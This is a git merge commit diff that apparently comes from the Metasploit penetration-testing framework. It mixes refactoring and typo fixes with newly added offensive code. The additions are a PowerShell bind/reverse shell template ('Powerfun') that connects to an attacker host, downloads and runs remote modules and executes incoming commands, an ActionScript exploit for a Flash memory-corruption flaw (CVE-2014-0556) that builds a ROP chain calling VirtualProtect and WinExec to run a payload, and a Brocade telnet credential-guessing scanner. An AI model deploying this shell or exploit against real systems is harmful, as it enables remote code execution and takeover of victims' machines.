Merge branch 'master' into staging/rails-4.0
Conflicts: Gemfile.lock plugins/nessus.rb
This commit is contained in:
commit
8163c3cdda
|
@ -56,7 +56,7 @@ PATH
|
|||
bcrypt
|
||||
jsobfu (~> 0.2.0)
|
||||
json
|
||||
meterpreter_bins (= 0.0.21)
|
||||
meterpreter_bins (= 0.0.22)
|
||||
msgpack
|
||||
nokogiri
|
||||
packetfu (= 1.1.9)
|
||||
|
@ -152,7 +152,7 @@ GEM
|
|||
json (1.8.2)
|
||||
mail (2.6.3)
|
||||
mime-types (>= 1.16, < 3)
|
||||
meterpreter_bins (0.0.21)
|
||||
meterpreter_bins (0.0.22)
|
||||
method_source (0.8.2)
|
||||
mime-types (2.4.3)
|
||||
mini_portile (0.6.2)
|
||||
|
|
Binary file not shown.
|
@ -0,0 +1,59 @@
|
|||
# Powerfun - Written by Ben Turner & Dave Hardy
|
||||
|
||||
function Get-Webclient
|
||||
{
|
||||
$wc = New-Object -TypeName Net.WebClient
|
||||
$wc.UseDefaultCredentials = $true
|
||||
$wc.Proxy.Credentials = $wc.Credentials
|
||||
$wc
|
||||
}
|
||||
function powerfun
|
||||
{
|
||||
Param(
|
||||
[String]$Command,
|
||||
[String]$Download
|
||||
)
|
||||
Process {
|
||||
$modules = @(MODULES_REPLACE)
|
||||
if ($Command -eq "bind")
|
||||
{
|
||||
$listener = [System.Net.Sockets.TcpListener]LPORT_REPLACE
|
||||
$listener.start()
|
||||
$client = $listener.AcceptTcpClient()
|
||||
}
|
||||
if ($Command -eq "reverse")
|
||||
{
|
||||
$client = New-Object System.Net.Sockets.TCPClient("LHOST_REPLACE",LPORT_REPLACE)
|
||||
}
|
||||
$stream = $client.GetStream()
|
||||
[byte[]]$bytes = 0..255|%{0}
|
||||
if ($Download -eq "true")
|
||||
{
|
||||
ForEach ($module in $modules)
|
||||
{
|
||||
(Get-Webclient).DownloadString($module)|Invoke-Expression
|
||||
}
|
||||
}
|
||||
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
|
||||
$stream.Write($sendbytes,0,$sendbytes.Length)
|
||||
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
|
||||
$stream.Write($sendbytes,0,$sendbytes.Length)
|
||||
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
|
||||
{
|
||||
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
|
||||
$data = $EncodedText.GetString($bytes,0, $i)
|
||||
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
|
||||
|
||||
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
|
||||
$x = ($error[0] | Out-String)
|
||||
$error.clear()
|
||||
$sendback2 = $sendback2 + $x
|
||||
|
||||
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
|
||||
$stream.Write($sendbyte,0,$sendbyte.Length)
|
||||
$stream.Flush()
|
||||
}
|
||||
$client.Close()
|
||||
$listener.Stop()
|
||||
}
|
||||
}
|
|
@ -22,6 +22,7 @@ else:
|
|||
# this MUST be imported for urllib to work on OSX
|
||||
try:
|
||||
import SystemConfiguration as osxsc
|
||||
osxsc.SCNetworkInterfaceCopyAll()
|
||||
has_osxsc = True
|
||||
except ImportError:
|
||||
has_osxsc = False
|
||||
|
|
|
@ -0,0 +1,182 @@
|
|||
// Build how to:
|
||||
// 1. Download the AIRSDK, and use its compiler.
|
||||
// 2. Download the Flex SDK (4.6)
|
||||
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||
// 4. Build with: mxmlc -o msf.swf Main.as
|
||||
|
||||
// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/
|
||||
// Modified to be used from msf
|
||||
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite
|
||||
import flash.display.BitmapData
|
||||
import flash.geom.Rectangle
|
||||
import flash.utils.ByteArray
|
||||
import flash.display.LoaderInfo
|
||||
import mx.utils.Base64Decoder
|
||||
|
||||
public class Main extends Sprite
|
||||
{
|
||||
private var bv:Vector.<ByteArray> = new Vector.<ByteArray>(12800)
|
||||
private var uv:Vector.<Object> = new Vector.<Object>(12800)
|
||||
private var bd:BitmapData = new BitmapData(128, 16)
|
||||
private var i:uint = 0
|
||||
|
||||
public function Main()
|
||||
{
|
||||
var b64:Base64Decoder = new Base64Decoder()
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
var payload:String = b64.toByteArray().toString()
|
||||
|
||||
for (i = 0; i < bv.length; i++) {
|
||||
bv[i] = new ByteArray()
|
||||
bv[i].length = 0x2000
|
||||
bv[i].position = 0xFFFFF000
|
||||
}
|
||||
|
||||
for (i = 0; i < bv.length; i++)
|
||||
if (i % 2 == 0) bv[i] = null
|
||||
|
||||
for (i = 0; i < uv.length; i++) {
|
||||
uv[i] = new Vector.<uint>(1022)
|
||||
}
|
||||
|
||||
bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401])
|
||||
|
||||
for (i = 0; ; i++)
|
||||
if (uv[i].length == 0xffffffff) break
|
||||
|
||||
for (var i2:uint = 1; i2 < uv.length; i2++) {
|
||||
if (i == i2) continue
|
||||
uv[i2] = new Vector.<Object>(1014)
|
||||
uv[i2][0] = bv[6401]
|
||||
uv[i2][1] = this
|
||||
}
|
||||
|
||||
uv[i][0] = uv[i][0xfffffc03] - 0x18 + 0x1000
|
||||
bv[6401].endian = "littleEndian"
|
||||
bv[6401].length = 0x500000
|
||||
var buffer:uint = vector_read(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8) + 0x100000
|
||||
var main:uint = uv[i][0xfffffc09] - 1
|
||||
var vtable:uint = vector_read(main)
|
||||
vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8)
|
||||
vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 16, 0xffffffff)
|
||||
byte_write(uv[i][0] + 4, byte_read(uv[i][0] - 0x1000 + 8))
|
||||
byte_write(uv[i][0])
|
||||
|
||||
var flash:uint = base(vtable)
|
||||
var winmm:uint = module("winmm.dll", flash)
|
||||
var kernel32:uint = module("kernel32.dll", winmm)
|
||||
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
|
||||
var winexec:uint = procedure("WinExec", kernel32)
|
||||
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
|
||||
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
|
||||
|
||||
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
|
||||
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
|
||||
byte_write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
byte_write(buffer + 0x100, payload, true)
|
||||
byte_write(buffer + 0x20070, xchgeaxespret)
|
||||
byte_write(buffer + 0x20000, xchgeaxesiret)
|
||||
byte_write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
byte_write(0, winexec)
|
||||
byte_write(0, buffer + 0x30000)
|
||||
byte_write(0, 0x1000)
|
||||
byte_write(0, 0x40)
|
||||
byte_write(0, buffer + 0x80)
|
||||
|
||||
// WinExec
|
||||
byte_write(0, buffer + 0x30000)
|
||||
byte_write(0, buffer + 0x100)
|
||||
byte_write(0)
|
||||
|
||||
byte_write(main, buffer + 0x20000)
|
||||
this.toString()
|
||||
}
|
||||
|
||||
private function vector_write(addr:uint, value:uint = 0):void
|
||||
{
|
||||
addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] = value : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1] = value
|
||||
}
|
||||
|
||||
private function vector_read(addr:uint):uint
|
||||
{
|
||||
return addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1]
|
||||
}
|
||||
|
||||
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||
{
|
||||
if (addr) bv[6401].position = addr
|
||||
if (value is String) {
|
||||
for (var i:uint; i < value.length; i++) bv[6401].writeByte(value.charCodeAt(i))
|
||||
if (zero) bv[6401].writeByte(0)
|
||||
} else bv[6401].writeUnsignedInt(value)
|
||||
}
|
||||
|
||||
private function byte_read(addr:uint, type:String = "dword"):uint
|
||||
{
|
||||
bv[6401].position = addr
|
||||
switch(type) {
|
||||
case "dword":
|
||||
return bv[6401].readUnsignedInt()
|
||||
case "word":
|
||||
return bv[6401].readUnsignedShort()
|
||||
case "byte":
|
||||
return bv[6401].readUnsignedByte()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function base(addr:uint):uint
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (byte_read(addr) == 0x00905a4d) return addr
|
||||
addr -= 0x10000
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function module(name:String, addr:uint):uint
|
||||
{
|
||||
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
|
||||
while (true) {
|
||||
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
|
||||
if (!entry) throw new Error("FAIL!");
|
||||
bv[6401].position = addr + entry
|
||||
if (bv[6401].readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
|
||||
}
|
||||
|
||||
private function procedure(name:String, addr:uint):uint
|
||||
{
|
||||
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
|
||||
var numberOfNames:uint = byte_read(eat + 0x18)
|
||||
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
|
||||
var addressOfNames:uint = addr + byte_read(eat + 0x20)
|
||||
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
|
||||
for (var i:uint = 0; ; i++) {
|
||||
var entry:uint = byte_read(addressOfNames + i * 4)
|
||||
bv[6401].position = addr + entry
|
||||
if (bv[6401].readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||
}
|
||||
|
||||
private function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||
{
|
||||
var find:uint = 0
|
||||
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
|
||||
return addr + i
|
||||
}
|
||||
}
|
||||
}
|
|
@ -96,7 +96,7 @@ class JavaClass < ExeFormat
|
|||
when 'NameAndType'
|
||||
@info = ConstantNameAndType.decode(c)
|
||||
else
|
||||
raise 'unkown constant tag'
|
||||
raise 'unknown constant tag'
|
||||
return
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,122 @@
|
|||
require 'msf/core'
|
||||
require 'metasploit/framework/telnet/client'
|
||||
require 'metasploit/framework/login_scanner/base'
|
||||
require 'metasploit/framework/login_scanner/rex_socket'
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
# This is based off of the telnet LoginScanner. We had to role our own,
|
||||
# based on hdm's recommendation, since we're not trying to login to telnet,
|
||||
# but we're actually doing the escalated privileges (enable) login.
|
||||
class Brocade_Telnet
|
||||
include Metasploit::Framework::LoginScanner::Base
|
||||
include Metasploit::Framework::LoginScanner::RexSocket
|
||||
include Metasploit::Framework::Telnet::Client
|
||||
|
||||
CAN_GET_SESSION = true
|
||||
DEFAULT_PORT = 23
|
||||
LIKELY_PORTS = [ DEFAULT_PORT ]
|
||||
LIKELY_SERVICE_NAMES = [ 'telnet' ]
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
REALM_KEY = nil
|
||||
|
||||
# @!attribute verbosity
|
||||
# The timeout to wait for the telnet banner.
|
||||
#
|
||||
# @return [Fixnum]
|
||||
attr_accessor :banner_timeout
|
||||
# @!attribute verbosity
|
||||
# The timeout to wait for the response from a telnet command.
|
||||
#
|
||||
# @return [Fixnum]
|
||||
attr_accessor :telnet_timeout
|
||||
|
||||
validates :banner_timeout,
|
||||
presence: true,
|
||||
numericality: {
|
||||
only_integer: true,
|
||||
greater_than_or_equal_to: 1
|
||||
}
|
||||
|
||||
validates :telnet_timeout,
|
||||
presence: true,
|
||||
numericality: {
|
||||
only_integer: true,
|
||||
greater_than_or_equal_to: 1
|
||||
}
|
||||
|
||||
# (see {Base#attempt_login})
|
||||
def attempt_login(credential)
|
||||
result_options = {
|
||||
credential: credential,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp',
|
||||
service_name: 'telnet'
|
||||
}
|
||||
|
||||
begin
|
||||
if connect_reset_safe == :refused
|
||||
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
else
|
||||
if busy_message?
|
||||
self.sock.close unless self.sock.closed?
|
||||
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
end
|
||||
end
|
||||
|
||||
unless result_options[:status]
|
||||
raw_send("enable\r\n") #send the enable command
|
||||
unless password_prompt?
|
||||
send_user(credential.public)
|
||||
end
|
||||
|
||||
recvd_sample = @recvd.dup
|
||||
# Allow for slow echos
|
||||
1.upto(10) do
|
||||
recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/]
|
||||
end
|
||||
|
||||
if password_prompt?(credential.public)
|
||||
send_pass(credential.private)
|
||||
|
||||
# Allow for slow echos
|
||||
1.upto(10) do
|
||||
recv_telnet(self.sock, 0.10) if @recvd == recvd_sample
|
||||
end
|
||||
end
|
||||
|
||||
if login_succeeded?
|
||||
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
else
|
||||
result_options[:status] = Metasploit::Model::Login::Status::INCORRECT
|
||||
end
|
||||
|
||||
end
|
||||
rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error
|
||||
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
end
|
||||
|
||||
::Metasploit::Framework::LoginScanner::Result.new(result_options)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# This method sets the sane defaults for things
|
||||
# like timeouts and TCP evasion options
|
||||
def set_sane_defaults
|
||||
self.connection_timeout ||= 30
|
||||
self.port ||= DEFAULT_PORT
|
||||
self.banner_timeout ||= 25
|
||||
self.telnet_timeout ||= 10
|
||||
self.connection_timeout ||= 30
|
||||
self.max_send_size ||= 0
|
||||
self.send_delay ||= 0
|
||||
# Shim to set up the ivars from the old Login mixin
|
||||
create_login_ivars
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -224,7 +224,7 @@ module Metasploit
|
|||
configure_http_client(cli)
|
||||
|
||||
if realm
|
||||
cli.set_config('domain' => credential.realm)
|
||||
cli.set_config('domain' => realm)
|
||||
end
|
||||
|
||||
begin
|
||||
|
|
|
@ -17,6 +17,40 @@ module Metasploit
|
|||
PRIVATE_TYPES = [ :password ]
|
||||
REALM_KEY = nil
|
||||
|
||||
# The number of retries per community string
|
||||
# @return [Fixnum]
|
||||
attr_accessor :retries
|
||||
|
||||
# The SNMP version to scan
|
||||
# @return [String]
|
||||
attr_accessor :version
|
||||
|
||||
validates :retries,
|
||||
presence: true,
|
||||
numericality: {
|
||||
only_integer: true,
|
||||
greater_than_or_equal_to: 0
|
||||
}
|
||||
|
||||
validates :version,
|
||||
presence: true,
|
||||
inclusion: {
|
||||
in: ['1', '2c', 'all']
|
||||
}
|
||||
|
||||
# This method returns an array of versions to scan
|
||||
# @return [Array] An array of versions
|
||||
def versions
|
||||
case version
|
||||
when '1'
|
||||
[:SNMPv1]
|
||||
when '2c'
|
||||
[:SNMPv2c]
|
||||
when 'all'
|
||||
[:SNMPv1, :SNMPv2c]
|
||||
end
|
||||
end
|
||||
|
||||
# This method attempts a single login with a single credential against the target
|
||||
# @param credential [Credential] The credential object to attmpt to login with
|
||||
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
|
||||
|
@ -29,14 +63,14 @@ module Metasploit
|
|||
service_name: 'snmp'
|
||||
}
|
||||
|
||||
[:SNMPv1, :SNMPv2c].each do |version|
|
||||
versions.each do |version|
|
||||
snmp_client = ::SNMP::Manager.new(
|
||||
:Host => host,
|
||||
:Port => port,
|
||||
:Community => credential.public,
|
||||
:Version => version,
|
||||
:Timeout => connection_timeout,
|
||||
:Retries => 2,
|
||||
:Retries => retries,
|
||||
:Transport => ::SNMP::RexUDPTransport,
|
||||
:Socket => ::Rex::Socket::Udp.create('Context' => { 'Msf' => framework, 'MsfExploit' => framework_module })
|
||||
)
|
||||
|
|
|
@ -0,0 +1,36 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/base/sessions/command_shell'
|
||||
|
||||
class Msf::Sessions::PowerShell < Msf::Sessions::CommandShell
|
||||
#
|
||||
# Execute any specified auto-run scripts for this session
|
||||
#
|
||||
def process_autoruns(datastore)
|
||||
|
||||
# Read the username and hostname from the initial banner
|
||||
initial_output = shell_read(-1, 0.01)
|
||||
if initial_output =~ /running as user ([^\s]+) on ([^\s]+)/
|
||||
username = $1
|
||||
hostname = $2
|
||||
self.info = "#{username} @ #{hostname}"
|
||||
else
|
||||
self.info = initial_output.gsub(/[\r\n]/, ' ')
|
||||
end
|
||||
|
||||
# Call our parent class's autoruns processing method
|
||||
super
|
||||
end
|
||||
#
|
||||
# Returns the type of session.
|
||||
#
|
||||
def self.type
|
||||
"powershell"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the session description.
|
||||
#
|
||||
def desc
|
||||
"Powershell session"
|
||||
end
|
||||
end
|
|
@ -35,7 +35,7 @@ module Auxiliary::Login
|
|||
#
|
||||
# Some of these regexes borrowed from NeXpose, others added from datasets
|
||||
#
|
||||
@login_regex = /(?:log[io]n( name|)|user(name|id|))\s*\:/i
|
||||
@login_regex = /(?:log[io]n( name|)|user( ?name|id|))\s*\:/i
|
||||
@password_regex = /(?:password|passwd)\s*\:/i
|
||||
@false_failure_regex = /(?:(^\s*last)\ login *\:|allows only\ .*\ Telnet\ Client\ License)/i
|
||||
@failure_regex = /(?:
|
||||
|
|
|
@ -164,9 +164,7 @@ module Msf::DBManager::Import::Nmap
|
|||
data[:host] = hobj || addr
|
||||
data[:info] = extra if not extra.empty?
|
||||
data[:task] = args[:task]
|
||||
if p["name"] != "unknown"
|
||||
data[:name] = p["name"]
|
||||
end
|
||||
data[:name] = p['tunnel'] ? "#{p['tunnel']}/#{p['name'] || 'unknown'}" : p['name']
|
||||
report_service(data)
|
||||
}
|
||||
#Parse the scripts output
|
||||
|
|
|
@ -1218,10 +1218,31 @@ class Exploit < Msf::Module
|
|||
# Failure tracking
|
||||
##
|
||||
|
||||
# Raises a Msf::Exploit::Failed exception. It overrides the fail_with method
|
||||
# in lib/msf/core/module.rb
|
||||
#
|
||||
# @param reason [String] A constant from Msf::Module::Failure.
|
||||
# If the reason does not come from there, then it will default to
|
||||
# Msf::Module::Failure::Unknown.
|
||||
# @param msg [String] (Optional) A message about the failure.
|
||||
# @raise [Msf::Exploit::Failed] A custom Msf::Exploit::Failed exception.
|
||||
# @return [void]
|
||||
# @see Msf::Module::Failure
|
||||
# @see Msf::Module#fail_with
|
||||
# @example
|
||||
# fail_with(Msf::Module::Failure::NoAccess, 'Unable to login to upload payload')
|
||||
def fail_with(reason,msg=nil)
|
||||
self.fail_reason = reason
|
||||
# The reason being registered here will be used later on, so it's important we don't actually
|
||||
# provide a made-up one.
|
||||
allowed_values = Msf::Module::Failure.constants.collect {|e| Msf::Module::Failure.const_get(e)}
|
||||
if allowed_values.include?(reason)
|
||||
self.fail_reason = reason
|
||||
else
|
||||
self.fail_reason = Msf::Module::Failure::Unknown
|
||||
end
|
||||
|
||||
self.fail_detail = msg
|
||||
raise Msf::Exploit::Failed, (msg || "No reason given")
|
||||
raise Msf::Exploit::Failed, (msg || "No failure message given")
|
||||
end
|
||||
|
||||
def report_failure
|
||||
|
@ -1276,7 +1297,7 @@ class Exploit < Msf::Module
|
|||
##
|
||||
|
||||
#
|
||||
# The reason why the exploit was not successful (one of Msf::Exploit::FailReason)
|
||||
# The reason why the exploit was not successful (one of Msf::Module::Failure)
|
||||
#
|
||||
attr_accessor :fail_reason
|
||||
|
||||
|
@ -1393,4 +1414,3 @@ protected
|
|||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -92,11 +92,7 @@ module Exploit::Remote::HttpServer
|
|||
def print_error(msg='')
|
||||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||||
end
|
||||
# :category: print_* overrides
|
||||
# Prepends client and module name if inside a thread with a #cli
|
||||
def print_debug(msg='')
|
||||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||||
end
|
||||
|
||||
#
|
||||
# :category: print_* overrides
|
||||
# Prepends client and module name if inside a thread with a #cli
|
||||
|
@ -126,11 +122,6 @@ module Exploit::Remote::HttpServer
|
|||
end
|
||||
# :category: print_* overrides
|
||||
# Prepends client and module name if inside a thread with a #cli
|
||||
def vprint_debug(msg='')
|
||||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||||
end
|
||||
# :category: print_* overrides
|
||||
# Prepends client and module name if inside a thread with a #cli
|
||||
def vprint_warning(msg='')
|
||||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||||
end
|
||||
|
|
|
@ -205,7 +205,7 @@ module Exploit::Remote::Postgres
|
|||
# result of "select version()" if authentication was successful.
|
||||
#
|
||||
# @return [Hash] A hash containing the version in one of the keys :preauth,
|
||||
# :auth, or :unkown, depending on how it was determined
|
||||
# :auth, or :unknown, depending on how it was determined
|
||||
# @see #postgres_authed_fingerprint
|
||||
# @see #analyze_auth_error
|
||||
def postgres_fingerprint(args={})
|
||||
|
|
|
@ -1,10 +1,8 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/exploitation/powershell'
|
||||
require 'rex/powershell'
|
||||
|
||||
module Msf
|
||||
module Exploit::Powershell
|
||||
PowershellScript = Rex::Exploitation::Powershell::Script
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_advanced_options(
|
||||
|
@ -27,15 +25,13 @@ module Exploit::Powershell
|
|||
#
|
||||
# @return [String] Encoded script
|
||||
def encode_script(script_in)
|
||||
# Build script object
|
||||
psh = PowershellScript.new(script_in)
|
||||
# Invoke enabled modifiers
|
||||
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
|
||||
opts = {}
|
||||
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k|
|
||||
mod_method = k.split('::').last.intern
|
||||
psh.send(mod_method)
|
||||
opts[mod_method.to_sym] = true
|
||||
end
|
||||
|
||||
psh.encode_code
|
||||
Rex::Powershell::Command.encode_script(script_in, opts)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -46,16 +42,14 @@ module Exploit::Powershell
|
|||
# @param eof [String] Marker to indicate the end of file appended to script
|
||||
#
|
||||
# @return [String] Compressed script with decompression stub
|
||||
def compress_script(script_in, eof = nil)
|
||||
# Build script object
|
||||
psh = PowershellScript.new(script_in)
|
||||
# Invoke enabled modifiers
|
||||
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
|
||||
def compress_script(script_in, eof=nil)
|
||||
opts = {}
|
||||
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k|
|
||||
mod_method = k.split('::').last.intern
|
||||
psh.send(mod_method)
|
||||
opts[mod_method.to_sym] = true
|
||||
end
|
||||
|
||||
psh.compress_code(eof)
|
||||
Rex::Powershell::Command.compress_script(script_in, eof, opts)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -69,19 +63,7 @@ module Exploit::Powershell
|
|||
#
|
||||
# @return [String] Powershell command line with arguments
|
||||
def generate_psh_command_line(opts)
|
||||
if opts[:path] and (opts[:path][-1, 1] != '\\')
|
||||
opts[:path] << '\\'
|
||||
end
|
||||
|
||||
if opts[:no_full_stop]
|
||||
binary = 'powershell'
|
||||
else
|
||||
binary = 'powershell.exe'
|
||||
end
|
||||
|
||||
args = generate_psh_args(opts)
|
||||
|
||||
"#{opts[:path]}#{binary} #{args}"
|
||||
Rex::Powershell::Command.generate_psh_command_line(opts)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -122,66 +104,7 @@ module Exploit::Powershell
|
|||
opts[:shorten] = (datastore['Powershell::method'] != 'old')
|
||||
end
|
||||
|
||||
arg_string = ' '
|
||||
opts.each_pair do |arg, value|
|
||||
case arg
|
||||
when :encodedcommand
|
||||
arg_string << "-EncodedCommand #{value} " if value
|
||||
when :executionpolicy
|
||||
arg_string << "-ExecutionPolicy #{value} " if value
|
||||
when :inputformat
|
||||
arg_string << "-InputFormat #{value} " if value
|
||||
when :file
|
||||
arg_string << "-File #{value} " if value
|
||||
when :noexit
|
||||
arg_string << '-NoExit ' if value
|
||||
when :nologo
|
||||
arg_string << '-NoLogo ' if value
|
||||
when :noninteractive
|
||||
arg_string << '-NonInteractive ' if value
|
||||
when :mta
|
||||
arg_string << '-Mta ' if value
|
||||
when :outputformat
|
||||
arg_string << "-OutputFormat #{value} " if value
|
||||
when :sta
|
||||
arg_string << '-Sta ' if value
|
||||
when :noprofile
|
||||
arg_string << '-NoProfile ' if value
|
||||
when :windowstyle
|
||||
arg_string << "-WindowStyle #{value} " if value
|
||||
end
|
||||
end
|
||||
|
||||
# Command must be last (unless from stdin - etc)
|
||||
if opts[:command]
|
||||
arg_string << "-Command #{opts[:command]}"
|
||||
end
|
||||
|
||||
# Shorten arg if PSH 2.0+
|
||||
if opts[:shorten]
|
||||
# Invoke-Command and Out-File require these options to have
|
||||
# an additional space before to prevent Powershell code being
|
||||
# mangled.
|
||||
arg_string.gsub!(' -Command ', ' -c ')
|
||||
arg_string.gsub!('-EncodedCommand ', '-e ')
|
||||
arg_string.gsub!('-ExecutionPolicy ', '-ep ')
|
||||
arg_string.gsub!(' -File ', ' -f ')
|
||||
arg_string.gsub!('-InputFormat ', '-i ')
|
||||
arg_string.gsub!('-NoExit ', '-noe ')
|
||||
arg_string.gsub!('-NoLogo ', '-nol ')
|
||||
arg_string.gsub!('-NoProfile ', '-nop ')
|
||||
arg_string.gsub!('-NonInteractive ', '-noni ')
|
||||
arg_string.gsub!('-OutputFormat ', '-o ')
|
||||
arg_string.gsub!('-Sta ', '-s ')
|
||||
arg_string.gsub!('-WindowStyle ', '-w ')
|
||||
end
|
||||
|
||||
# Strip off first space character
|
||||
arg_string = arg_string[1..-1]
|
||||
# Remove final space character
|
||||
arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
|
||||
|
||||
arg_string
|
||||
Rex::Powershell::Command.generate_psh_args(opts)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -196,41 +119,15 @@ module Exploit::Powershell
|
|||
# @return [String] Wrapped powershell code
|
||||
def run_hidden_psh(ps_code, payload_arch, encoded)
|
||||
arg_opts = {
|
||||
noprofile: true,
|
||||
windowstyle: 'hidden',
|
||||
noprofile: true,
|
||||
windowstyle: 'hidden',
|
||||
}
|
||||
|
||||
if encoded
|
||||
arg_opts[:encodedcommand] = ps_code
|
||||
else
|
||||
arg_opts[:command] = ps_code.gsub("'", "''")
|
||||
end
|
||||
|
||||
# Old technique fails if powershell exits..
|
||||
arg_opts[:noexit] = true if datastore['Powershell::method'] == 'old'
|
||||
arg_opts[:noexit] = (datastore['Powershell::method'] == 'old')
|
||||
arg_opts[:shorten] = (datastore['Powershell::method'] != 'old')
|
||||
|
||||
ps_args = generate_psh_args(arg_opts)
|
||||
|
||||
process_start_info = <<EOS
|
||||
$s=New-Object System.Diagnostics.ProcessStartInfo
|
||||
$s.FileName=$b
|
||||
$s.Arguments='#{ps_args}'
|
||||
$s.UseShellExecute=$false
|
||||
$p=[System.Diagnostics.Process]::Start($s)
|
||||
EOS
|
||||
process_start_info.gsub!("\n", ';')
|
||||
|
||||
archictecure_detection = <<EOS
|
||||
if([IntPtr]::Size -eq 4){
|
||||
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
|
||||
}else{
|
||||
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
|
||||
};
|
||||
EOS
|
||||
|
||||
archictecure_detection.gsub!("\n", '')
|
||||
|
||||
archictecure_detection + process_start_info
|
||||
Rex::Powershell::Command.run_hidden_psh(ps_code, payload_arch, encoded, arg_opts)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -263,118 +160,28 @@ EOS
|
|||
opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
|
||||
opts[:method] ||= datastore['Powershell::method']
|
||||
|
||||
if opts[:encode_inner_payload] && opts[:encode_final_payload]
|
||||
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
|
||||
end
|
||||
|
||||
